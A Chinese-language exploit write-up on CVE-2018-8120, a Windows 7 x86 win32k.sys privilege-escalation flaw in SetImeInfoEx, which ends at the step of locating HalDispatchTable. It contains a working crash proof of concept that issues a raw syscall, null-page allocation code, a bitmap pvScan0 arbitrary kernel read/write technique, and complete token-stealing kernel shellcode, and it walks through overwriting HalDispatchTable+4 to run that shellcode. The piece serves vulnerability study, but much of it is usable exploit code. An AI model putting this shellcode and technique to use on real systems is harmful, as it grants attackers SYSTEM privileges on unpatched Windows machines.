CVE-2018-8120 分析
目录
- cve-2018-8120 分析
cve-2018-8120 分析
1、实验环境
1.1、操作系统
- windows 7 sp1 x86 未打补丁 磁力链接
1.2、用到的分析工具
2、假如
2.1、我想提权
我想使我编写的一个普通的r3的程序一运行就获得system最高权限。一个常用的办法是: 替换当前进程_eprocess结构的token成员的值为system进程的_eproess的token成员值。一旦替换成功,那么从替换成功的那一刻开始一直到程序退出这段时间里,程序所做的一切操作都是以system最高权限执行的。
但是,要完成这项工作在r3层面上直接上shellcode是不行的,因为所有进程的eprocess结构都是位于内核空间中的,如果要对其进行读写则代码必须运行在内核空间中才行,用户空间中的代码如果对其进行读写则会产生保护性异常。
所以问题就来了,怎样让我们的替换token的shellcode(这段shellcode是怎么写的在后面会有详细解释)运行在内核空间中呢?
2.2、 有一个处于内核空间,极少被调用的函数
2.2.1、快速系统调用简介
虽然用户程序不能直接访问内核空间,但是用户程序可以通过调用系统服务来间接访问系统空间中的数据或间接调用执行系统空间中的代码。当调用系统服务时,调用线程会从用户模式切换到内核模式,调用结束后再返回到用户模式,也就是所谓的模式切换,有时也被称为上下文切换(context switch)。模式切换是通过软中断或专门的快速系统调用(fast system call)指令来实现。
下面我来简要介绍下windows 7 x86 sp1 是如何通过sysenter指令实现快速系统调用的。举一个简单的例子。调用readfile()
这个函数的流程为下图所示:
在windows 7 sp1 x86中使用微软的亲儿子windbg(本地内核调试模式,具体设置百度,ps:设置完后需使用管理员权限启动windbg否则使用bcdedit设置重启后依然不能启用本地内核调试模式)查看ntdll.dll中导出的ntreadfile()
函数的反汇编:
lkd> uf ntdll!ntreadfile ntdll!zwreadfile: 775762b8 b811010000 mov eax,111h ;ntreadfile的系统服务号码为 0x111 775762bd ba0003fe7f mov edx,offset shareduserdata!systemcallstub (7ffe0300) 775762c2 ff12 call dword ptr [edx] 775762c4 c22400 ret 24h
那么当第二句 mov edx,offset shareduserdata!systemcallstub
执行后,edx 值为0x7ffe0300。因为第三句是 call dword ptr [edx]
所以继续查看地址shareduserdata!systemcallstub
处的值
lkd> dd shareduserdata!systemcallstub 7ffe0300 775770b0 775770b4 00000000 00000000
继续执行call dword ptr [edx]
则跳转到地址0x775770b0
处执行,继续使用神器反汇编
lkd> uf 775770b0 ntdll!kifastsystemcall: 775770b0 8bd4 mov edx,esp 775770b2 0f34 sysenter 775770b4 c3 ret
当执行sysenter
指令后,进入内核模式,调用kisystemservice()
函数,该函数会根据服务id从系统服务分发表(system service dispatch table)中找到要调用的服务函数的函数地址和参数描述,然后调用内核中正真的ntreadfile()
函数。那个服务id就是进入shareduserdata!systemcallstub
之前那个mov eax,111h
的111h。
2.2.2、ssdt表 和 shadowssdt 表和 haldispatchtable硬件抽象层调度表 简介
再windows nt系列操作系统中,有两种类型的系统服务,一种是实现在内核文件中,是常用的系统服务。另一种实现在win32k.sys中,是一些与图形显示及用户界面相关的系统服务。这些系统服务在系统运行期间常驻于系统内存区中,并且他们的入口地址保存在两个系统服务地址表kiservicetable和win32pservicetable中.所有的系统服务地址表都保存在系统服务描述表(sdt)中。
目前windows系统共有两个sdt,一个是servicedescriptortable(ssdt),另一个是servicedescriptortableshadow(ssdtshadow).
其中servicedescriptortable中只包含kiservicetable,而servicedescriptortableshadow中既包含kiservicetable又包含win32pservicetbale.其中ssdt是可以访问的而ssdtshadow是不公开的。
使用windbg查看ssdt和ssdtshadow如下:
lkd> dd nt!keservicedescriptortable 83fad9c0 83ec1d9c 00000000 00000191 83ec23e4 83fad9d0 00000000 00000000 00000000 00000000 //ssdt中该项为空 lkd> dd nt!keservicedescriptortableshadow 83fada00 83ec1d9c 00000000 00000191 83ec23e4 83fada10 955b6000 00000000 00000339 955b702c //ssdtshadow中该项不为空 sdt的表项中成员按以下数据结构组成: typedef struct _ksystem_service_table { pulong servicetablebase; // 0x00 系统服务地址表地址 pulong servicecountertablebase; // 0x04 pulong numberofservice; // 0x08 服务函数的个数 ulong paramtablebase; // 0x0c 该系统服务的参数表 } ksystem_service_table, *pksystem_service_table; //sizeof=0x10 那么根据ssdtshadow可以得到kiservicetable的地址为0x83ec1d9c,包含0x191个服务函数; 可以得到win32pservicetable的地址为0x955b6000,包含0x339个服务函数。
这时我们去看看win32pservicetable处的东西吧!
lkd> dds 955b6000 955b6000 95543d37 win32k!ntgdiabortdoc 955b6004 9555bc23 win32k!ntgdiabortpath 955b6008 953b71ac win32k!ntgdiaddfontresourcew 955b600c 95552c5d win32k!ntgdiaddremotefonttodc 955b6010 9555d369 win32k!ntgdiaddfontmemresourceex 955b6014 95544554 win32k!ntgdiremovemergefont 955b6018 955445e8 win32k!ntgdiaddremotemminstancetodc 955b601c 9546dad1 win32k!ntgdialphablend 955b6020 9555cb94 win32k!ntgdianglearc 955b6024 95421965 win32k!ntgdianylinkedfonts 955b6028 95421882 win32k!ntgdifontislinked 955b602c 9555eead win32k!ntgdiarcinternal 955b6030 9555d085 win32k!ntgdibegingdirendering 955b6034 9555bc97 win32k!ntgdibeginpath 955b6038 954628cb win32k!ntgdibitblt
可以发现它的每一个成员都是一个四字节的服务函数指针!如果把这里面某个函数指针改为我们shellcode的地址,再在用户层调用它的r3对应函数,那么不就让我们的shellcode在高权限执行了吗?但是,我们需要一个更好的目标,它在我们程序的运行阶段不会被其他任何进程调用。(因为又不是你一个程序在调系统服务函数,如果其他程序调用了你改了函数指针指向的函数,就会有不可预料的事情发生,比如bsod).
另一个很好的表是硬件抽象层(hal)调度表nt!haldispatchtable
。这里也存储了系统调用地址,不过是hal例程的地址。用温帝霸查看如下所示:
lkd> dds nt!haldispatchtable 83f6e3f8 00000004 83f6e3fc 83e338a2 hal!haliquerysysteminformation 83f6e400 83e341b4 hal!halpsetsysteminformation
注意到nt!haldispatchtable+4那
个地址指向的函数了吗?这个函数就是我们要覆盖为shellcode地址的最佳选择。因为有一个名为ntqueryintervalprofile
的未记录函数,它获取当前为给定配置文件源设置的配置文件间隔。该函数可以通过调用getprocaddress
从ntdll.dll中获取地址,在userland调用。该函数在内部调用kequeryintervalprofile
函数 :
kd> u nt!ntqueryintervalprofile + 0x62 nt!ntqueryintervalprofile+0x62: 8414fecd 7507 jne nt!ntqueryintervalprofile+0x6b (8414fed6) 8414fecf a1acdbf683 mov eax,dword ptr [nt!kiprofileinterval (83f6dbac)] 8414fed4 eb05 jmp nt!ntqueryintervalprofile+0x70 (8414fedb) 8414fed6 e83ae5fbff call nt!kequeryintervalprofile (8410e415);调用kequeryintervalprofile 8414fedb 84db test bl,bl 8414fedd 741b je nt!ntqueryintervalprofile+0x8f (8414fefa) 8414fedf c745fc01000000 mov dword ptr [ebp-4],1 8414fee6 8906 mov dword ptr [esi],eax //本地u好像权限不够,双机调u成功
继续反汇编nt!kequeryintervalprofile
kd> u nt!kequeryintervalprofile+0x23 nt!kequeryintervalprofile+0x23: 8410e438 ff15fce3f683 call dword ptr [nt!haldispatchtable+0x4 (83f6e3fc)] 8410e43e 85c0 test eax,eax 8410e440 7c0b jl nt!kequeryintervalprofile+0x38 (8410e44d) 8410e442 807df400 cmp byte ptr [ebp-0ch],0 8410e446 7405 je nt!kequeryintervalprofile+0x38 (8410e44d) 8410e448 8b45f8 mov eax,dword ptr [ebp-8] 8410e44b c9 leave 8410e44c c3 ret
发现了吗?nt!haldispatchtable+0x4
不就是hal!haliquerysysteminformation
吗?所以我们可以用userland中的令牌(token)窃取shellcode的地址覆盖这个指针,那么一旦我们调用ntqueryintervalprofile
函数的时候,就会在内核中运行我们的shellcode啦!!!
但是绕来绕去,我们还是没有办法在r3直接修改内核空间中的内存。。。:slightly_smiling_face:
2.3、r3任意修改r0地址空间内存
这里有一个非常强的方法来实现任意内存读写,那就是利用bitmap内核对象中的pvscan0字段。系统api的getbitmapbits
和setbitmapbits
可以读写pvscan0所指向内存地址的内容。具体细节在下文中有。
如果这个pvscan0指向nt!haldispatchtable+0x4
,那么我们就可以先用getbitmap()
把原本的haliquerysysteminformation
函数地址保存起来,再用setbitmapbits()
函数将其改为shellcode的地址,那么这个时候调用ntqueryintervalprofile
就在内核中执行了我们的shellcode,shellcode执行完之后再用setbitmapbits()
将刚刚保存的原地址改回去就行了。
但是......又怎么在userland改pvscan0的值啊,这时就要利用cve-2018-8120这个漏洞了。下面开始进入正题。
3、由win32k!setimeinfoex()引发的漏洞
3.1、分析
首先,在vm中装好windows 7 sp1 x86版本,使其断开网络连接,防止系统自动安装补丁。将位于c:\windows\system32\目录下的win32k.sys文件拿到ida中f5分析(就只会ida的f5的小白一只)。在函数窗口查找到setimeinfoex()
函数,双击之后按f5得到
signed int __stdcall setimeinfoex(signed int a1, _dword *a2) { signed int result; // eax _dword *v3; // eax _dword *v4; // eax result = a1; if ( a1 ) { v3 = *(_dword **)(a1 + 20); while ( v3[5] != *a2 ) { v3 = (_dword *)v3[2]; if ( v3 == *(_dword **)(a1 + 20) ) return 0; } v4 = (_dword *)v3[11]; if ( !v4 ) return 0; if ( !v4[18] ) qmemcpy(v4, a2, 0x15cu); result = 1; } return result; }
先啥都不看,看到qmemcpy(v4,a2,348u)
没得?假如我们可以指定v4的值和a2的值不就可以实现任意内存拷贝了吗?只不过是将a2指向的348个字节拷贝到v4指向的内存,拷贝得好像有点多。不管不管,先看看能不能控制a2和v4。
假如能够执行到qmemcpy()
, 由a4等于v3[11],v3的值与a1得值有关,所以需要知道a1和a2到底是啥子东西。因为win32k.sys并没有导出setimeinfoex
,那就看看是win32k.sys中的哪个函数调了setimeinfoex
,切换回这个函数的文本视图(ida view1),点击view->open subviews->function calls 查看调用关系。如下图所示:
就只有ntusersetimeinfoex
是caller。f5查看ntusersetimeinfoex
的代码:v6是ntusersetimeinfoex的
参数参数类型为tagimeinfoex ,v4是通过_getprocesswindowstation
得到的返回值,其类型为tagwindowstation 。
//调用处关键代码 v4 = _getprocesswindowstation(0); v1 = setimeinfoex(v4, &v6);
所以由此可得:
0 signed int __stdcall setimeinfoex(tagwindowstation* a1, tagimeinfoex *a2) 1 { 2 signed int result; // eax 3 tagkl *v3; // eax 4 tagimeinfoex *v4; // eax 5 6 result = a1; 7 if ( a1 ) 8 { 9 v3 = a1->spklist; // 如果spklist为null,则下面使用v3访问的时候将触发访问异常 10 while ( v3->hkl != a2->hkl ) 11 { 12 v3 = v3->pklnext; 13 if ( v3 == a1->spklist ) 14 return 0; 15 } 16 v4 = v3->piiex; 17 if ( !v4 ) 18 return 0; 19 if ( !v4->floadflag) 20 qmemcpy(v4, a2, 0x15cu); //sizeof(tagimeinfoex)=0x15c 21 result = 1; 22 } 23 return result; 24}
下面开始分析代码:
- 第9行:
v3 = a1->spklist
如果a1->spklist的值为0,那么v3也就为0了,那么执行while(v3->hkl != a2->hkl)
的时候,就会访问虚拟地址为0的地址空间,而这一区域是空指针赋值分区(x86 32位下范围为:0x00000000-0x0000ffff),对这一分区进行读取或写入会引发访问违规。如果是r3对这一分区进行读写,则会弹出一个消息提示框提示程序错误。如果是r0对这一分区进行读写,则会直接触发蓝屏。“3.2、验证漏洞poc”中对这一点进行了实验,请跳过去阅读。
3.2、验证漏洞poc
win32k.sys中的ntusersetimeinfoex是用于将用户进程定义的输入法扩展信息对象设置在与当前进程关联的窗口站中。
窗口站tagwindowstation结构体定义如下:
win32k!tagwindowstation +0x000 dwsessionid : uint4b +0x004 rpwinstanext : ptr32 tagwindowstation +0x008 rpdesklist : ptr32 tagdesktop +0x00c pterm : ptr32 tagterminal +0x010 dwwsf_flags : uint4b +0x014 spkllist : ptr32 tagkl +0x018 pticliplock : ptr32 tagthreadinfo +0x01c ptidrawingclipboard : ptr32 tagthreadinfo +0x020 spwndclipopen : ptr32 tagwnd +0x024 spwndclipviewer : ptr32 tagwnd +0x028 spwndclipowner : ptr32 tagwnd +0x02c pclipbase : ptr32 tagclip +0x030 cnumclipformats : uint4b +0x034 iclipserialnumber : uint4b +0x038 iclipsequencenumber : uint4b +0x03c spwndclipboardlistener : ptr32 tagwnd +0x040 pglobalatomtable : ptr32 void +0x044 luidendsession : _luid +0x04c luiduser : _luid +0x054 psiduser : ptr32 void
r3中可以通过系统提供的接口createwindowstation()和setprocesswindowstation(),新建一个新的windowstation对象并和当前进程关联起来,值得注意的是,使用createwindowstation() 新建的windowstation对象其偏移0×14位置的spkllist字段的值默认是零。那么 根据setimeinfoex()函数的流程,当windowstation->spkllist字段为0,函数继续执行将触发0地址访问异常。
3.2.1、验证使用createwindowstation()新建的windowstation对象的spklist字段是否默认为0
使用以下代码创建一个windowstation
#include <windows.h> #include <stdio.h> int main() { hwinsta hsta = createwindowstationw(0, 0, read_control, 0); printf("handle:0x%x\n", hsta); system("pause"); return 0; }
在windows 7 sp1 x86中运行得到如下结果:(每次可能不同)
使用pchunter查看其进程句柄如下图:找到句柄值为0x3c得哪一行得到内核中tagwindowstation 的地址为:0x86c12960
使用windbg本地内核调试模式,先切换使用!process 0 0
查找到程序的process值,再使用.process 值
切换当前implicit process.就可以查看windowstation->spkllist字段的值了。结果的确为null(0)。
lkd> dt tagwindowstation 0x86c12960 win32k!tagwindowstation +0x000 dwsessionid : 1 +0x004 rpwinstanext : (null) +0x008 rpdesklist : (null) +0x00c pterm : 0x955ceb80 tagterminal +0x010 dwwsf_flags : 4 +0x014 spkllist : (null) //该字段为零 +0x018 pticliplock : (null) ....
那么如果继续使用setprocesswindowstation()将刚刚创建的窗口站(spklist字段为0)与当前程序绑定,那么
win32k!ntusersetimeinfoex()
系统服务函数 中调用_getprocesswindowstation()
返回的就是spklist字段为零的窗口站内核对象, 也就是setimeinfoex()的第一个参数!!!!!! 那么就会触发蓝屏。
3.2.2、验证触发蓝屏
通过以上的分析,那么下一步就是要调用win32k!ntusersetimeinfoex()
系统服务函数了,ntusersetimeinfoex()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数setimeinfoex() 。我们使用调用usershareddata!systemcallstub(因为是固定内存区,所以这个值windows 7 sp1 x86中是不变的)。在2.2.1中我介绍了调用系统服务函数的方法,sysenter
是根据eax寄存器中的系统服务号来查找调用系统服务函数的,那么下面我们来获取这个函数的系统服务号,因为是win32k,所以该函数位于ssdtshadow中。在windows 7 sp1 x86中运行pchunter,查看内核钩子->shadowssdt获取序号
那么ntusersetimeinfoex
的系统服务号 = 0x1000+0x226(556的16进制) = 0x1226 ,你可能会奇怪为什么要加0x1000这个值,其实当初我看到这个算式的时候也是一脸懵逼,于是我就双机调试了整个sysenter过程,总算明白了为什么是加0x1000。下面贴出关键汇编代码
lkd> u nt!kifastcallentry+0x8f l10 nt!kifastcallentry+0x8f: 83e8114f 8bf8 mov edi,eax //eax中是系统服务号 83e81151 c1ef08 shr edi,8 83e81154 83e710 and edi,10h 83e81157 8bcf mov ecx,edi 83e81159 03bebc000000 add edi,dword ptr [esi+0bch] //第二个操作数是ssdtshadow的地址 83e8115f 8bd8 mov ebx,eax 83e81161 25ff0f0000 and eax,0fffh //取序号 83e81166 3b4708 cmp eax,dword ptr [edi+8] //判断序号是否超过了该表服务函数总数 83e81169 0f8333fdffff jae nt!kibbtunexpectedrange (83e80ea2) //大于等于则退出并报错
关键就在于shr
和and
这两句,如果这样还不清楚的话就举个例子吧。假如eax为0x1126
mov edi,eax
edi=0x00001126 ,eax=0x00001126shr edi,8
导致 edi=0x00000011and edi,10h
edi=0x10-
add edi,ssdtshadow的地址
还记得2.2.2节中介绍ssdtshadow说的吗?ssdtshadow中的表项中成员按以下数据结构组成:
typedef struct _ksystem_service_table
{
pulong servicetablebase; // 0x00 系统服务地址表地址
pulong servicecountertablebase; // 0x04
pulong numberofservice; // 0x08 服务函数的个数
ulong paramtablebase; // 0x0c 该系统服务的参数表
} ksystem_service_table, *pksystem_service_table; //sizeof=0x10ssdtshadow的第一个表项是kiservicetable(ssdtshadow首地址+0),第二个表项是win32k.sys的win32pservicetable!(ssdtshadow首地址+0x10),这个0x10不就是sizeof(ksystem_service_table)吗?
所以如果是调第一个表项中的系统服务函数,那么系统服务号 = 0x0000+ 序号,如果是调用第二个表项中的系统服务函数就是 系统服务号 = 0x1000+ 序号。那个1其实就是表示的是ssdtshadow中第几个表项。
好了,最后要获取的东西就是位于固定内存的usershareddata!systemcallsutb
lkd> dd systemcallstub 7ffe0300 777370b0 777370b4 00000000 00000000
得到这个值为0x7ffe0300(这个不变),它所指向地址中的值为0x777370b0(这个可能会变)就为kifastsystemcall的地址。
lkd> u 777370b0 ntdll!kifastsystemcall: 777370b0 8bd4 mov edx,esp 777370b2 0f34 sysenter 777370b4 c3 ret
所以我们的验证poc代码如下:
#include <windows.h> #include <stdio.h> __declspec(naked) ntstatus ntapi ntsetuserimeinfoex(pvoid imeinfoex) { __asm { mov eax, 0x1226 mov edx, 0x7ffe0300 call dword ptr[edx] ret 0x04 } } int main() { hwinsta hsta = createwindowstationw(0, 0, read_control, 0); setprocesswindowstation(hsta); char ime[0x800]; ntsetuserimeinfoex((pvoid)&ime); return 0; }
编译运行,果然蓝屏了。附上截图,好开心啊。
4、windows 7分配零页内存
在32位windows 7系统中,可以用的虚拟地址空间位4gb,其中地址范围为:0x00000000~0x0000ffff的区域被称为空指针赋值分区,保留该分区的目的是为了帮助程序员捕获对空指针的赋值。如果进程中的线程试图读取或写入位于这一分区内的内存地址,就会引发访问违规。
《windows核心编程第五版》第13章windows内存体系结构中在介绍空指针赋值分区时有这样一句话:
值得注意的是,没有任何办法可以让我们分配到位于这一地址区间的虚拟内存,即便是使用win32应用程序编程接口也不例外。
哦?是吗?那我就在windows 7 sp1 x86上运行一下下面这段代码生成的程序试试:
#include<windows.h> #include<stdio.h> typedef ntsysapi ntstatus (ntapi *_ntallocatevirtualmemory)( in handle processhandle, in out pvoid *baseaddress, in ulong zerobits, in out pulong regionsize, in ulong allocationtype, in ulong protect); void testnullpagealloc() { hmodule hntdll = getmodulehandle("ntdll"); _ntallocatevirtualmemory ntallocatevirtualmemory = (_ntallocatevirtualmemory)getprocaddress(hntdll, "ntallocatevirtualmemory"); pvoid addr = (pvoid)0x100; dword size = 0x1000; ntallocatevirtualmemory(getcurrentprocess(), &addr, 0, &size, mem_reserve | mem_commit, page_readwrite); dword * p = null; *p = 6; printf("p=%p *p=%d\n",p, *p); system("pause"); } int main() { testnullpagealloc(); return 0; }
附上运行截图:
使用pchunter查看该程序内存表:
注意到了吗?分配成功了。这是利用的zwallocatevirtualmemory这个函数。该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,页面大小为4kb。 下面来解释了为啥上图中是0x0000~0x1fff(不包括0x2000,因为大小是0x2000)。
由baseaddress=0x100,申请大小为0x1000可知我们需要的分配地址空间范围为:0x100~0x1100-0x1。因为分配内存块的起始地址必须为64kb的整数倍,所以系统决定起始地址为0x00000000,又因为分配的基本单位页面大小为4kb,所以0x1000~0x2000-0x01这一段也会被分配。所以实际分配的地址范围就为0x00000000~0x00001fff。
zwallocatevirtualmemory函数,微软没有给出公开的文档,但是可以通过相关资料或是逆向来了解该函数的使用方式。
ntsysapi ntstatus ntapi zwallocatevirtualmemory ( in handle processhandle, in out pvoid baseaddress, in ulong zerobits, in out pulong regionsize, in ulong allocationtype, in ulong protect );
注:若指定baseaddress为0则系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。 所以需要利用对齐粒度和页面大小来做骚操作。
所以:**如果我们成功申请了内存,使其可写可读,那么我们刚刚利用setimeinfoex函数中的蓝屏触发poc就不会蓝屏了,因为空指针指向的地方是可以读写的了。而且你注意到了吗?我们成功申请的空指针内存区是可以在r3操作的,不信看这一节开头的那个验证程序:dword* p=null;*p=6;**
所以setimeinfoex函数的第一个参数的spkllist成员所指向的值,我们可以直接在r3进行操作了。
5、bitmap gdi函数实现内核任意地址读/写
当创建一个bitmap时,一个结构被附加到了进程peb的gdisharedhandletable成员中。 gdisharedhandletable是一个gdicell结构体数组的指针 :
typedef struct { lpvoid pkerneladdress; ushort wprocessid; ushort wcount; ushort wupper; ushort wtype; lpvoid puseraddress; } gdicell; //sizeof = 0x10
我们可以用以下方式找到bitmap的内核地址
addr = peb.gdisharedhandletable + (handle &0xffff) *sizeof(gdicell) ;取序号*大小获得偏移
下面编写代码创建一个bitmap对象,并打印内核句柄对象,然后使用工具找到这这个对象,使用上面的公式进行验证。
#include<windows.h> #include<stdio.h> void testcreatebitmap() { pvoid buf = malloc(0x64 * 0x64 * 4); handle handle = createbitmap(0x64, 0x64, 1, 32, buf); printf("handle=0x%x\n", handle); system("pause"); } int main() { testcreatebitmap(); return 0; }
将其放入windows 7 sp1 x86中运行结果如下:
使用processhacker查看验证程序的gdi句柄表
打开windbg双机调试,先切换进程,进行如下操作:发现确实和使用工具查出的地址一样:0xfe64c000
kd> !process 0 0 test.exe process 86fc2c20 sessionid: 1 cid: 0e84 peb: 7ffd4000 parentcid: 0504 dirbase: 7f2d0440 objecttable: a4843218 handlecount: 18. image: test.exe kd> .process 86fc2c20 implicit process is now 86fc2c20 warning: .cache forcedecodeuser is not enabled kd> dt _peb gdisharedhandletable 7ffd4000 nt!_peb +0x094 gdisharedhandletable : 0x00670000 void kd> dd 0x00670000 + (0xb0050462 &0xffff)*0x10 l1 00674620 fe64c000
至此,bitmap的内核地址有了,那么该怎么用呢?gdicell结构的pkerneladdress成员指向baseobject结构,在这个baseobject结构后面的紧跟那个结构才是关键所在。如果是位图那么这个结构为下面的surfobj结构。
typedef struct _baseobject //<[偏移,大小] 连续序号(表示baseobject后跟的就是位图_surfobj) handle hhmgr; //<[00,04] 00 pvoid pentry; //<[04,04] 01 long cexclusivelock; //<[08,04] 02 ulong tid; //<[0c,04] 03 } baseobject, *pobj; //sizeof=0x10 typedef struct _surfobj { dhsurf dhsurf; //<[00,04] 04 hsurf hsurf; //<[04,04] 05 dhpdev dhpdev; //<[08,04] 06 hdev hdev; //<[0c,04] 07 sizel sizlbitmap; //<[10,08] 08 09 ulong cjbits; //<[18,04] 0a pvoid pvbits; //<[1c,04] 0b pvoid pvscan0; //<[20,04] 0c long ldelta; //<[24,04] 0d ulong iuniq; //<[28,04] 0e ulong ibitmapformat; //<[2c,04] 0f ushort itype; //<[30,02] 10 ushort fjbitmap; //<[32,02] xx } surfobj; typedef struct tagsizel { long cx; long cy; } sizel, *psizel;
pvscan0 成员就是我们需要利用的,因为getbitmapbits 和 setbitmapbits 这两个api能操作这个成员。getbitmapbits 允许我们在 pvscan0 地址上读任意字节,setbitmapbits 允许我们在 pvscan0 地址上写任意字节。如果我们有一个漏洞(例如:cve-2018-8120)可以修改一次内核地址, 把 pvscan0 改成我们想要操作的内核地址,这样是不是就实现了可以重复利用的内核任意读写呢?
6、漏洞利用
6.1、先写出"利用环境"
- 分配零页内存
- 创建并设置窗口站
//分配零页内存 hmodule hntdll = getmodulehandle("ntdll"); _ntallocatevirtualmemory ntallocatevirtualmemory = (_ntallocatevirtualmemory)getprocaddress(hntdll, "ntallocatevirtualmemory"); pvoid addr = (pvoid)0x100; dword size = 0x10; ntallocatevirtualmemory(getcurrentprocess(), &addr, 0, &size, mem_reserve | mem_commit, page_readwrite); //创建窗口站 hwinsta hsta = createwindowstationw(0, 0, read_control, 0); //设置窗口站 setprocesswindowstation(hsta);
6.2、写一段获取system进程令牌的shellcode
首先来点基础知识:每个进程都在内核中都会有且仅有一个eprocess结构。该结构几乎包括了进程所有关键信息和重要资产。其中eprocess结构中的token字段记录着这个进程的token结构的地址,进程的很多与安全相关的信息是记录在这个token结构中的。所以如果我们想获得system权限,就可以将拥有system权限进程的token字段的值找到,并赋值给我们创建程序进程的eprocess的token字段。就可以完成提权了。
所以我们在内核空间执行的shellcode的第一步 是找到拥有system权限的进程的eprocess结构地址,拥有system权限的进程就是system进程(该pid固定为4)。第二步就是将它的token字段赋值给我们程序eprocess的token。
那么如何在内核空间中找到system进程的eprocess呢?那么我们先找到自己进程的eprocess结构。在r0中,fs寄存器指向一个叫kpcr的数据结构:
lkd> dt _kpcr -r1 nt!_kpcr +0x000 nttib : _nt_tib +0x000 used_exceptionlist : ptr32 _exception_registration_record +0x004 used_stackbase : ptr32 void +0x008 spare2 : ptr32 void +0x00c tsscopy : ptr32 void +0x010 contextswitches : uint4b +0x014 setmembercopy : uint4b +0x018 used_self : ptr32 void +0x01c selfpcr : ptr32 _kpcr +0x020 prcb : ptr32 _kprcb +0x024 irql : uchar +0x028 irr : uint4b +0x02c irractive : uint4b +0x030 idr : uint4b +0x034 kdversionblock : ptr32 void +0x038 idt : ptr32 _kidtentry +0x03c gdt : ptr32 _kgdtentry +0x040 tss : ptr32 _ktss +0x044 majorversion : uint2b +0x046 minorversion : uint2b +0x048 setmember : uint4b +0x04c stallscalefactor : uint4b +0x050 spareunused : uchar +0x051 number : uchar +0x052 spare0 : uchar +0x053 secondlevelcacheassociativity : uchar +0x054 vdmalert : uint4b +0x058 kernelreserved : [14] uint4b +0x090 secondlevelcachesize : uint4b +0x094 halreserved : [16] uint4b +0x0d4 interruptmode : uint4b +0x0d8 spare1 : uchar +0x0dc kernelreserved2 : [17] uint4b +0x120 prcbdata : _kprcb
注意它的最后一个成员prcbdata,它的类型是_kprcb。使用windbg查看:
lkd> dt _kprcb nt!_kprcb +0x000 minorversion : uint2b +0x002 majorversion : uint2b +0x004 currentthread : ptr32 _kthread //指向当前线程_kthread结构的指针。 +0x008 nextthread : ptr32 _kthread +0x00c idlethread : ptr32 _kthread .....
也就说fs:[124]其实是指向当前线程的_kthread ,下面继续查看 _kthread结构:
lkd> dt _kthread -r1 nt!_kthread +0x000 header : _dispatcher_header .... +0x03c miscflags : int4b +0x040 apcstate : _kapc_state +0x000 apclisthead : [2] _list_entry +0x010 process : ptr32 _kprocess//指向当前进程eprocess结构 +0x014 kernelapcinprogress : uchar +0x015 kernelapcpending : uchar +0x016 userapcpending : uchar +0x040 apcstatefill : [23] uchar +0x057 priority : char +0x058 nextprocessor : uint4b
额,你可能要问_kthread.apcstate.process不是指向的是 _kprocess的指针吗?难道eprocess和kprocess一样? 肯定不一样啊,但是你看看 eprocess的组成就清楚了。
lkd> dt _eprocess ntdll!_eprocess +0x000 pcb : _kprocess +0x098 processlock : _ex_push_lock +0x0a0 createtime : _large_integer +0x0a8 exittime : _large_integer +0x0b0 rundownprotect : _ex_rundown_ref +0x0b4 uniqueprocessid : ptr32 void +0x0b8 activeprocesslinks : _list_entry +0x0c0 processquotausage : [2] uint4b +0x0c8 processquotapeak : [2] uint4b +0x0d0 commitcharge : uint4b +0x0d4 quotablock : ptr32 _eprocess_q
注意到没,eprocess的第一个成员不就是_kprocess吗?所以_kthread.apcstate.process其实指向的是eprocess,取它地址的值就是_kprocess的指针。
所以我们获取当前进程eprocess的汇编代码可以写成:
mov edx, 0x124; mov eax, fs:[edx];// get nt!_kpcr.pcrbdata.currentthread mov edx, 0x50; mov eax, [eax + edx];// get nt!_kthread.apcstate.process mov ecx, eax;// copy current _eprocess structure
你可能又要问了,你怎么晓得该这样做?答案是:你可以去反汇编一下这个函数就晓得了:
lkd> u nt!psgetcurrentprocess nt!psgetcurrentprocess: 83ecdb60 64a124010000 mov eax,dword ptr fs:[00000124h] 83ecdb66 8b4050 mov eax,dword ptr [eax+50h] 83ecdb69 c3 ret 调用这个函数可以得到当前进程的eprocess结构。
好了,现在我们已经获得了我们自身进程的eprocess结构了,但是我们第一步需要做的是 获得system进程的eprocess啊。获得自己的eprocess有啥子用呢?不用急,请看eprocess的activeprocesslinks成员,它是一个_list_entry结构。让我们展开看看
lkd> dt _eprocess -r1 ntdll!_eprocess +0x000 pcb : _kprocess ..... +0x0b8 activeprocesslinks : _list_entry +0x000 flink : ptr32 _list_entry //指向前一个进程的eprocess.activeprocesslinks.flink +0x004 blink : ptr32 _list_entry //指向后一个进程的eprocess.activeprocesslinks.flink +0x0c0 processquotausage : [2] uint4b
在windows系统中,每创建一个进程系统内核就会为其创建一个eprocess,然后使eprocess.activeprocesslinks.flink=上一个创建的进程的eprocess.activeprocesslinks.flink的地址,而上一个创建进程的eprocess.activeprocesslinks.blink=新创建进程的eprocess.activeprocesslinks.flink的地址,构成了一个双向链表。所以找到一个就可以通过flink和blink遍历整个进程eprocess了,又由于system进程是最先创建的进程之一。所以它必然在当前进程(我们编写的这个程序进程)之前,所以就一直循环访问flink就行了。又因为eprocess的uniqueprocessid成员指向的是该eprocess所属进程的pid。所以我们就可以循环遍历eprocess,判断其pid是否为4.若是就找到了system进程的eprocess结构了。
既然找到了system进程的eprcess了,那么第二步:获取它的token值还不是轻而易举。下面贴出完整shellcode
__declspec(noinline) int shellcode() { __asm { pushad;// save registers state mov edx, 0x124; mov eax, fs:[edx];// get nt!_kpcr.pcrbdata.currentthread mov edx, 0x50; mov eax, [eax + edx];// get nt!_kthread.apcstate.process mov ecx, eax;// copy current _eprocess structure mov esi, 0xf8;// token在eprocess的偏移为0xf8 mov edx, 4;// win 7 sp1 system process pid = 0x4 mov edi, 0xb8;//flink在eprocess的偏移为0xb8 mov ebx, 0xb4;//uniqueprocessid在eprocess的偏移为0xb4 searchsystempid: mov eax, [eax + edi];// get nt!_eprocess.activeprocesslinks.flink sub eax, edi;// 执行之后,eax 为eprocess的地址 cmp[eax + ebx], edx;// get nt!_eprocess.uniqueprocessid jne searchsystempid; mov edx, [eax + esi];// get system process nt!_eprocess.token mov[ecx + esi], edx;// copy nt!_eprocess.token of system to current process popad;// restore registers state xor eax, eax;// set ntstatus succeess } }
6.3、找到haldispatchtable的地址
因为我们要使我们的shellcode在r0执行,通过在2.2.2中分析的,我们需要得到nt!haldispatchtable+0x4的值。那么我们只需要得到haldispatchtable地址,然后加4就行了。
